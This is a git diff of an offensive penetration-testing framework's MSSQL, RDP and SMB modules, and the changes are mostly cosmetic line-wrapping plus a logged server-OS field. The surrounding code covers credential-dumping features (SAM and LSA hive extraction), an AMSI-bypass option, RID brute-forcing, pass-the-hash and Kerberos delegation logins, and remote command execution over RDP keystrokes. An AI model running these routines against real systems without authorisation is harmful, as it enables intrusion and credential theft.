self.logger.debug(f"Starting PS execute: {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}") + self.logger.debug( + f"Starting PS execute: {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}") amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None self.logger.debug(f"AMSI Bypass: {amsi_bypass}") if os.path.isfile(payload): self.logger.debug(f"File payload set: {payload}") with open(payload) as commands: - response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output) for c in commands] + response = [self.execute(create_ps_command(c.strip( + ), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output) for c in commands] else: - response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output)] + response = [self.execute(create_ps_command( + payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output)] self.logger.debug(f"ps_execute response: {response}") return response @requires_admin def put_file(self): - self.logger.display(f"Copy {self.args.put_file[0]} to {self.args.put_file[1]}") + self.logger.display( + f"Copy {self.args.put_file[0]} to {self.args.put_file[1]}") with open(self.args.put_file[0], "rb") as f: try: data = f.read() @@ -363,9 +402,11 @@ def put_file(self): exec_method = MSSQLEXEC(self.conn, self.logger) exec_method.put_file(data, self.args.put_file[1]) if exec_method.file_exists(self.args.put_file[1]): - self.logger.success("File has been uploaded on the remote machine") + self.logger.success( + "File has been uploaded on the remote machine") else: - self.logger.fail("File does not exist on the remote system... error during upload") + self.logger.fail( + "File does not exist on the remote system... error during upload") except Exception as e: self.logger.fail(f"Error during upload : {e}") @@ -378,7 +419,8 @@ def get_file(self): try: exec_method = MSSQLEXEC(self.conn, self.logger) exec_method.get_file(self.args.get_file[0], self.args.get_file[1]) - self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') + self.logger.success( + f'File "{remote_path}" was downloaded to "{download_path}"') except Exception as e: self.logger.fail(f'Error reading file "{remote_path}": {e}') if os.path.getsize(download_path) == 0: @@ -391,7 +433,8 @@ def handle_mssql_reply(self): for _i, key in enumerate(self.conn.replies[keys]): if key["TokenType"] == TDS_ERROR_TOKEN: error_msg = f"({key['MsgText'].decode('utf-16le')} Please try again with or without '--local-auth')" - self.conn.lastError = SQLErrorException(f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}") + self.conn.lastError = SQLErrorException( + f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}") return error_msg elif key["TokenType"] == TDS_INFO_TOKEN: return f"({key['MsgText'].decode('utf-16le')})" @@ -430,20 +473,24 @@ def rid_brute(self, max_rid=None): domain = self.conn.sql_query("SELECT DEFAULT_DOMAIN()")[0][""] # Query known group to determine raw SID & convert to canon - raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""] - domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4] + raw_domain_sid = self.conn.sql_query( + f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""] + domain_sid = SID(bytes.fromhex( + raw_domain_sid.decode())).formatCanonical()[:-4] except Exception as e: self.logger.fail(f"Error parsing SID. Not domain joined?: {e}") so_far = 0 simultaneous = 1000 for _j in range(max_rid // simultaneous + 1): - sids_to_check = (max_rid - so_far) % simultaneous if (max_rid - so_far) // simultaneous == 0 else simultaneous + sids_to_check = (max_rid - so_far) % simultaneous if (max_rid - + so_far) // simultaneous == 0 else simultaneous if sids_to_check == 0: break # Batch query multiple sids at a time - sid_queries = [f"SELECT SUSER_SNAME(SID_BINARY(N'{domain_sid}-{i:d}'))" for i in range(so_far, so_far + sids_to_check)] + sid_queries = [ + f"SELECT SUSER_SNAME(SID_BINARY(N'{domain_sid}-{i:d}'))" for i in range(so_far, so_far + sids_to_check)] raw_output = self.conn.sql_query(";".join(sid_queries)) for n, item in enumerate(raw_output): @@ -485,7 +532,8 @@ def list_databases(self): self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}") self.logger.highlight(f"{'-' * 30} {'-' * 25}") for r in rows: - self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}") + self.logger.highlight( + f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}") self.logger.highlight(f"Total: {len(rows)} database(s)") except Exception as e: self.logger.fail(f"Failed to enumerate databases: {e}") @@ -503,9 +551,11 @@ def database(self): if isinstance(db_arg, str): try: safe = db_arg.replace("'", "''") - exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';") + exists = self.conn.sql_query( + f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';") if not exists: - self.logger.fail(f"Database [{db_arg}] does not exist on the server.") + self.logger.fail( + f"Database [{db_arg}] does not exist on the server.") return tq = ( @@ -515,7 +565,8 @@ def database(self): ) rows = self.conn.sql_query(tq) or [] except Exception as e: - self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}") + self.logger.fail( + f"Insufficient permissions or query error in [{db_arg}]: {e}") self.logger.debug("database() error", exc_info=True) return @@ -530,7 +581,8 @@ def database(self): mod = r.get("modify_date", "") if mod and hasattr(mod, "strftime"): mod = mod.strftime("%Y-%m-%d %H:%M:%S") - self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}") + self.logger.highlight( + f"{r.get('TableName', ''):<50} {mod!s:<25}") self.logger.highlight(f"Total: {len(rows)} table(s)") return @@ -544,16 +596,19 @@ def sam(self): try: exec_method = MSSQLEXEC(self.conn, self.logger) exec_method.execute(dump_command) - exec_method.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam") - exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") + exec_method.get_file( + f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam") + exec_method.get_file( + f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") exec_method.execute(clean_command) except Exception as e: self.logger.fail(f"Failed to dump SAM database, error: {e!s}") self.logger.debug(f"Error dumping SAM: {e}", exc_info=True) else: if not (os.path.exists(f"{output_filename}.sam") and os.path.getsize(f"{output_filename}.sam") > 0) \ - or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0): - self.logger.fail("SAM or SYSTEM hive could not be dumped, privs may not be sufficient.") + or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0): + self.logger.fail( + "SAM or SYSTEM hive could not be dumped, privs may not be sufficient.") return self.logger.display("Dumping SAM hashes") local_operations = LocalOperations(f"{output_filename}.system") @@ -577,16 +632,19 @@ def lsa(self): try: exec_method = MSSQLEXEC(self.conn, self.logger) exec_method.execute(dump_command) - exec_method.get_file(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security") - exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") + exec_method.get_file( + f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security") + exec_method.get_file( + f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") exec_method.execute(clean_command) except Exception as e: self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}") self.logger.debug(f"Error dumping LSA: {e}", exc_info=True) else: if not (os.path.exists(f"{output_filename}.security") and os.path.getsize(f"{output_filename}.security") > 0) \ - or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0): - self.logger.fail("SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.") + or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0): + self.logger.fail( + "SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.") return self.logger.display("Dumping LSA secrets") local_operations = LocalOperations(f"{output_filename}.system") @@ -596,7 +654,8 @@ def lsa(self): boot_key, None, isRemote=None, - perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), + perSecretCallback=lambda secret_type, secret: self.logger.highlight( + secret), ) LSA.dumpCachedHashes() LSA.dumpSecrets() diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 7233ec44c0..3af9a75ea6 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -98,20 +98,27 @@ def write(self, msg): "host": self.host, "port": self.port, "hostname": self.hostname, + "server_os": self.server_os, } ) def print_host_info(self): - nla = colored(f"nla:{self.nla}", host_info_colors[3], attrs=["bold"]) if self.nla else colored(f"nla:{self.nla}", host_info_colors[2], attrs=["bold"]) + nla = colored(f"nla:{self.nla}", host_info_colors[3], attrs=["bold"]) if self.nla else colored( + f"nla:{self.nla}", host_info_colors[2], attrs=["bold"]) if self.domain is None: - self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})") + self.logger.display( + f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})") else: - self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})") - self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os, self.nla) + self.logger.display( + f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})") + self.db.add_host(self.host, self.port, self.hostname, + self.domain, self.server_os, self.nla) def create_conn_obj(self): - self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout) - self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS) + self.target = RDPTarget( + ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout) + self.auth = NTLMCredential( + secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS) self.check_nla() @@ -138,8 +145,10 @@ def create_conn_obj(self): else: self.domain = info_domain["dnsdomainname"] self.hostname = info_domain["computername"] - self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"]) + self.server_os = info_domain["os_guess"] + \ + " Build " + str(info_domain["os_build"]) self.logger.extra["hostname"] = self.hostname + self.logger.extra["server_os"] = self.server_os break if self.args.domain: @@ -152,7 +161,8 @@ def create_conn_obj(self): if not self.kdcHost and self.domain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None - self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") + self.logger.info( + f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") self.target = RDPTarget( ip=self.host, @@ -203,7 +213,8 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if nthash: self.nthash = nthash - kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all(s == "" for s in [nthash, password, aesKey]) else "" + kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all( + s == "" for s in [nthash, password, aesKey]) else "" self.hostname + "." + self.domain password = password if password else nthash @@ -213,11 +224,13 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if not password: password = password if password else getenv("KRB5CCNAME") if "/" in password: - self.logger.fail("Kerberos ticket need to be on the local directory") + self.logger.fail( + "Kerberos ticket need to be on the local directory") return False ccache = CCache.loadFile(getenv("KRB5CCNAME")) ticketCreds = ccache.credentials[0] - username = ticketCreds["client"].prettyPrint().decode().split("@")[0] + username = ticketCreds["client"].prettyPrint( + ).decode().split("@")[0] else: stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT @@ -239,7 +252,8 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", domain=domain, stype=stype, ) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = RDPConnection( + iosettings=self.iosettings, target=self.target, credentials=self.auth) asyncio.run(self.connect_rdp()) self.admin_privs = True @@ -257,7 +271,8 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if not self.args.local_auth and self.username != "": add_user_bh(username, domain, self.logger, self.config) if self.admin_privs: - add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + add_user_bh(f"{self.hostname}$", domain, + self.logger, self.config) return True except Exception as e: @@ -268,10 +283,12 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", reason = self.rdp_error_status[word] self.logger.fail( (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), - color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"), + color=("magenta" if ((reason or "CredSSP" in str(e)) + and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"), ) elif "Authentication failed!" in str(e): - self.logger.success(f"{domain}\\{username}:{(process_secret(password))} {self.mark_pwned()}") + self.logger.success( + f"{domain}\\{username}:{(process_secret(password))} {self.mark_pwned()}") elif "No such file" in str(e): self.logger.fail(e) else: @@ -283,7 +300,8 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", reason = "User valid but cannot connect" self.logger.fail( (f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"), - color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), + color=("magenta" if ((reason or "CredSSP" in str(e)) + and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -295,19 +313,23 @@ def plaintext_login(self, domain, username, password): domain=domain, stype=asyauthSecret.PASS, ) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = RDPConnection( + iosettings=self.iosettings, target=self.target, credentials=self.auth) asyncio.run(self.connect_rdp()) self.admin_privs = True - self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}") + self.logger.success( + f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}") if not self.args.local_auth and self.username != "": add_user_bh(username, domain, self.logger, self.config) if self.admin_privs: - add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + add_user_bh(f"{self.hostname}$", domain, + self.logger, self.config) return True except Exception as e: if "Authentication failed!" in str(e): - self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}") + self.logger.success( + f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}") else: reason = None for word in self.rdp_error_status: @@ -317,7 +339,8 @@ def plaintext_login(self, domain, username, password): reason = "User valid but cannot connect" self.logger.fail( (f"{domain}\\{username}:{process_secret(password)} ({reason if reason else str(e)})"), - color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), + color=("magenta" if ((reason or "CredSSP" in str(e)) + and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -329,19 +352,23 @@ def hash_login(self, domain, username, ntlm_hash): domain=domain, stype=asyauthSecret.NT, ) - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = RDPConnection( + iosettings=self.iosettings, target=self.target, credentials=self.auth) asyncio.run(self.connect_rdp()) self.admin_privs = True - self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}") + self.logger.success( + f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}") if not self.args.local_auth and self.username != "": add_user_bh(username, domain, self.logger, self.config) if self.admin_privs: - add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + add_user_bh(f"{self.hostname}$", domain, + self.logger, self.config) return True except Exception as e: if "Authentication failed!" in str(e): - self.logger.success(f"{domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}") + self.logger.success( + f"{domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}") else: reason = None for word in self.rdp_error_status: @@ -352,7 +379,8 @@ def hash_login(self, domain, username, ntlm_hash): self.logger.fail( (f"{domain}\\{username}:{process_secret(ntlm_hash)} ({reason if reason else str(e)})"), - color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "STATUS_LOGON_FAILURE") else "red"), + color=("magenta" if ((reason or "CredSSP" in str(e)) + and reason != "STATUS_LOGON_FAILURE") else "red"), ) return False @@ -396,12 +424,14 @@ async def _send_win_r(self): self.logger.debug("Win+R sent successfully") return True except (ConnectionResetError, ConnectionError, OSError) as e: - self.logger.debug(f"Connection error while waiting for clipboard: {e!s}") + self.logger.debug( + f"Connection error while waiting for clipboard: {e!s}") self.logger.fail("Connection was reset by the remote host") return False except Exception as e: self.logger.debug(f"Error sending Win+R: {e!s}") - self.logger.debug("Using fallback approach for opening command prompt") + self.logger.debug( + "Using fallback approach for opening command prompt") return False async def execute_shell(self, payload, get_output, shell_type): @@ -417,7 +447,8 @@ async def execute_shell(self, payload, get_output, shell_type): # Create a connection try: - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = RDPConnection( + iosettings=self.iosettings, target=self.target, credentials=self.auth) await self.connect_rdp() except Exception as e: self.logger.debug(f"Error connecting to RDP: {e!s}") @@ -430,7 +461,8 @@ async def execute_shell(self, payload, get_output, shell_type): await asyncio.sleep(self.args.cmd_delay) timeout_counter = 0 - while not clipboard_ready and timeout_counter < (self.args.clipboard_delay * 10): # Convert seconds to deciseconds + # Convert seconds to deciseconds + while not clipboard_ready and timeout_counter < (self.args.clipboard_delay * 10): try: data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=0.1) if hasattr(data, "type") and data.type.name == "CLIPBOARD_READY": @@ -441,16 +473,21 @@ async def execute_shell(self, payload, get_output, shell_type): timeout_counter += 1 continue except (ConnectionResetError, ConnectionError, OSError) as e: - self.logger.debug(f"Connection error while waiting for clipboard: {e!s}") - self.logger.fail("Connection was reset by the remote host") + self.logger.debug( + f"Connection error while waiting for clipboard: {e!s}") + self.logger.fail( + "Connection was reset by the remote host") return "" except Exception as e: - self.logger.debug(f"Error waiting for clipboard: {e!s}") - self.logger.fail("Warning: Clipboard may not be fully initialized, no output can be retrieved") + self.logger.debug( + f"Error waiting for clipboard: {e!s}") + self.logger.fail( + "Warning: Clipboard may not be fully initialized, no output can be retrieved") return "" if not clipboard_ready: - self.logger.fail("Clipboard cannot be initialized, no output can be retrieved") + self.logger.fail( + "Clipboard cannot be initialized, no output can be retrieved") return "" # Wait for desktop to be available @@ -465,7 +502,8 @@ async def execute_shell(self, payload, get_output, shell_type): self.logger.debug(f"Launching {shell_type} via Run dialog") await self._send_keystrokes(f"{shell_type}.exe") await self._send_enter() - await asyncio.sleep(self.args.cmd_delay) # Wait for cmd window to open + # Wait for cmd window to open + await asyncio.sleep(self.args.cmd_delay) else: # Fallback: Try direct command typing (assumes cmd may already be open) self.logger.debug(f"Sending {shell_type} command directly") @@ -487,26 +525,32 @@ async def execute_shell(self, payload, get_output, shell_type): clipboard_text = await self.conn.get_current_clipboard_text() if clipboard_text: - self.logger.debug("Command output retrieved from clipboard:") + self.logger.debug( + "Command output retrieved from clipboard:") for line in clipboard_text.lstrip().strip("\n").splitlines(): self.logger.highlight(line) else: - self.logger.fail("Clipboard is empty or contains non-text data") + self.logger.fail( + "Clipboard is empty or contains non-text data") return clipboard_text else: - self.logger.success("Executed command without retrieving output") + self.logger.success( + "Executed command without retrieving output") self.logger.debug("Command execution completed") return None except (ConnectionResetError, ConnectionError, OSError) as e: - self.logger.debug(f"Connection error during command execution: {e!s}") - self.logger.fail("Connection was reset by the remote host during command execution") + self.logger.debug( + f"Connection error during command execution: {e!s}") + self.logger.fail( + "Connection was reset by the remote host during command execution") return None except Exception as e: self.logger.debug(f"Error during command execution: {e!s}") if "cannot unpack non-iterable NoneType object" in str(e): - self.logger.fail("RDP connection was terminated unexpectedly") + self.logger.fail( + "RDP connection was terminated unexpectedly") else: self.logger.fail(f"Command execution failed: {e!s}") return None @@ -535,10 +579,12 @@ def execute(self, payload=None, shell_type="cmd"): get_output = bool(not self.args.no_output) - self.logger.success(f"Executing command: {payload} with delay {self.args.cmd_delay} seconds") + self.logger.success( + f"Executing command: {payload} with delay {self.args.cmd_delay} seconds") try: - result = asyncio.run(self.execute_shell(payload, get_output, shell_type)) + result = asyncio.run(self.execute_shell( + payload, get_output, shell_type)) if result: self.logger.debug("Command execution completed") @@ -546,7 +592,8 @@ def execute(self, payload=None, shell_type="cmd"): except Exception as e: self.logger.error(f"Command execution error: {e!s}") if shell_type == "cmd": - self.logger.info("Cannot execute command via cmd - now switching to PowerShell to attempt execution") + self.logger.info( + "Cannot execute command via cmd - now switching to PowerShell to attempt execution") try: return self.execute(payload, shell_type="powershell") except Exception as e2: @@ -559,7 +606,8 @@ def ps_execute(self): async def screen(self): try: - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = RDPConnection( + iosettings=self.iosettings, target=self.target, credentials=self.auth) await self.connect_rdp() except Exception: return @@ -567,7 +615,8 @@ async def screen(self): await asyncio.sleep(5) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + filename = os.path.expanduser( + f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"Screenshot saved {filename}") @@ -575,22 +624,26 @@ def screenshot(self): asyncio.run(self.screen()) async def nla_screen(self): - self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS) + self.auth = NTLMCredential( + secret="", username="", domain="", stype=asyauthSecret.PASS) for proto in self.protoflags_nla: try: self.iosettings.supported_protocols = proto - self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth) + self.conn = RDPConnection( + iosettings=self.iosettings, target=self.target, credentials=self.auth) await self.connect_rdp() except Exception as e: - self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}") + self.logger.debug( + f"Failed to connect for nla_screenshot with {proto} {e}") return await asyncio.sleep(int(self.args.screentime)) if self.conn is not None and self.conn.desktop_buffer_has_data is True: buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL) - filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") + filename = os.path.expanduser( + f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png") buffer.save(filename, "png") self.logger.highlight(f"NLA Screenshot saved {filename}") return diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 3233521c90..495412633f 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -139,6 +139,7 @@ def proto_logger(self): "host": self.host, "port": self.port, "hostname": self.hostname, + "server_os": self.server_os, } ) @@ -152,7 +153,8 @@ def get_os_arch(self): dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: - dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0")) + dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=( + "71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0")) except DCERPCException as e: if str(e).find("syntaxes_not_supported") >= 0: dce.disconnect() @@ -161,7 +163,8 @@ def get_os_arch(self): dce.disconnect() return 64 except Exception as e: - self.logger.debug(f"Error retrieving os arch of {self.host}: {e!s}") + self.logger.debug( + f"Error retrieving os arch of {self.host}: {e!s}") return 0 @@ -200,14 +203,16 @@ def enum_host_info(self): try: # If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available if self.isdc and detect_if_ip(self.host): - self.hostname, self.domain = LDAPResolution(self.host).get_resolution() + self.hostname, self.domain = LDAPResolution( + self.host).get_resolution() self.targetDomain = self.domain # If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it else: # Check if the host is a valid IP address, if not we parse the FQDN in the Exception import socket socket.inet_aton(self.host) - self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name") + self.logger.debug( + "NTLM authentication not available! Authentication will fail without a valid hostname and domain name") self.hostname = self.host self.targetDomain = self.host except OSError: @@ -252,12 +257,15 @@ def enum_host_info(self): self.server_os = "Unix - Samba" elif self.server_os_build == 0 and self.os_arch == 0: self.server_os = "Unix" - self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}") + self.logger.debug( + f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}") self.logger.extra["hostname"] = self.hostname + self.logger.extra["server_os"] = self.server_os try: - self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] + self.signing = self.conn.isSigningRequired( + ) if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] except Exception as e: self.logger.debug(e) @@ -288,22 +296,31 @@ def enum_host_info(self): if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None - self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") + self.logger.info( + f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") def print_host_info(self): - signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) - smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) - ntlm = colored(f" (NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" - null_auth = colored(f" (Null Auth:{self.null_auth})", host_info_colors[2], attrs=["bold"]) if self.null_auth else "" - guest = colored(f" (Guest Auth:{self.is_guest})", host_info_colors[1], attrs=["bold"]) if self.is_guest else "" - self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}){ntlm}{null_auth}{guest}") + signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=[ + "bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) + smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=[ + "bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) + ntlm = colored(f" (NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=[ + "bold"]) if self.no_ntlm else "" + null_auth = colored(f" (Null Auth:{self.null_auth})", host_info_colors[2], attrs=[ + "bold"]) if self.null_auth else "" + guest = colored(f" (Guest Auth:{self.is_guest})", host_info_colors[1], attrs=[ + "bold"]) if self.is_guest else "" + self.logger.display( + f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}){ntlm}{null_auth}{guest}") if self.args.generate_hosts_file or self.args.generate_krb5_file: if self.args.generate_hosts_file: with open(self.args.generate_hosts_file, "a+") as host_file: dc_part = f" {self.targetDomain}" if self.isdc else "" - host_file.write(f"{self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}\n") - self.logger.debug(f"Line added to {self.args.generate_hosts_file} {self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}") + host_file.write( + f"{self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}\n") + self.logger.debug( + f"Line added to {self.args.generate_hosts_file} {self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}") elif self.args.generate_krb5_file and self.isdc: with open(self.args.generate_krb5_file, "w+") as host_file: data = dedent(f""" @@ -325,8 +342,10 @@ def print_host_info(self): """).strip() host_file.write(data) self.logger.debug(data) - self.logger.success(f"krb5 conf saved to: {self.args.generate_krb5_file}") - self.logger.success(f"Run the following command to use the conf file: export KRB5_CONFIG={self.args.generate_krb5_file}") + self.logger.success( + f"krb5 conf saved to: {self.args.generate_krb5_file}") + self.logger.success( + f"Run the following command to use the conf file: export KRB5_CONFIG={self.args.generate_krb5_file}") return self.host, self.hostname, self.targetDomain @@ -353,18 +372,23 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", self.nthash = nthash if not all(s == "" for s in [self.nthash, password, aesKey]): - kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) + kerb_pass = next( + s for s in [self.nthash, password, aesKey] if s) else: kerb_pass = "" - self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}") + self.logger.debug( + f"Attempting to do Kerberos Login with useCache: {useCache}") tgs = None if self.args.delegate: kerb_pass = "" self.username = self.args.delegate - serverName = Principal(self.args.delegate_spn if self.args.delegate_spn else f"cifs/{self.remoteName}", type=constants.PrincipalNameType.NT_SRV_INST.value) - tgs, sk = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy) - self.logger.debug(f"TGS obtained for {self.args.delegate} for {serverName}") + serverName = Principal( + self.args.delegate_spn if self.args.delegate_spn else f"cifs/{self.remoteName}", type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, sk = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, + aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy) + self.logger.debug( + f"TGS obtained for {self.args.delegate} for {serverName}") spn = f"cifs/{self.remoteName}" if self.args.delegate_spn: @@ -372,9 +396,11 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", tgs = kerberos_altservice(tgs, spn) if self.args.generate_st: - self.save_st(tgs, sk, spn if 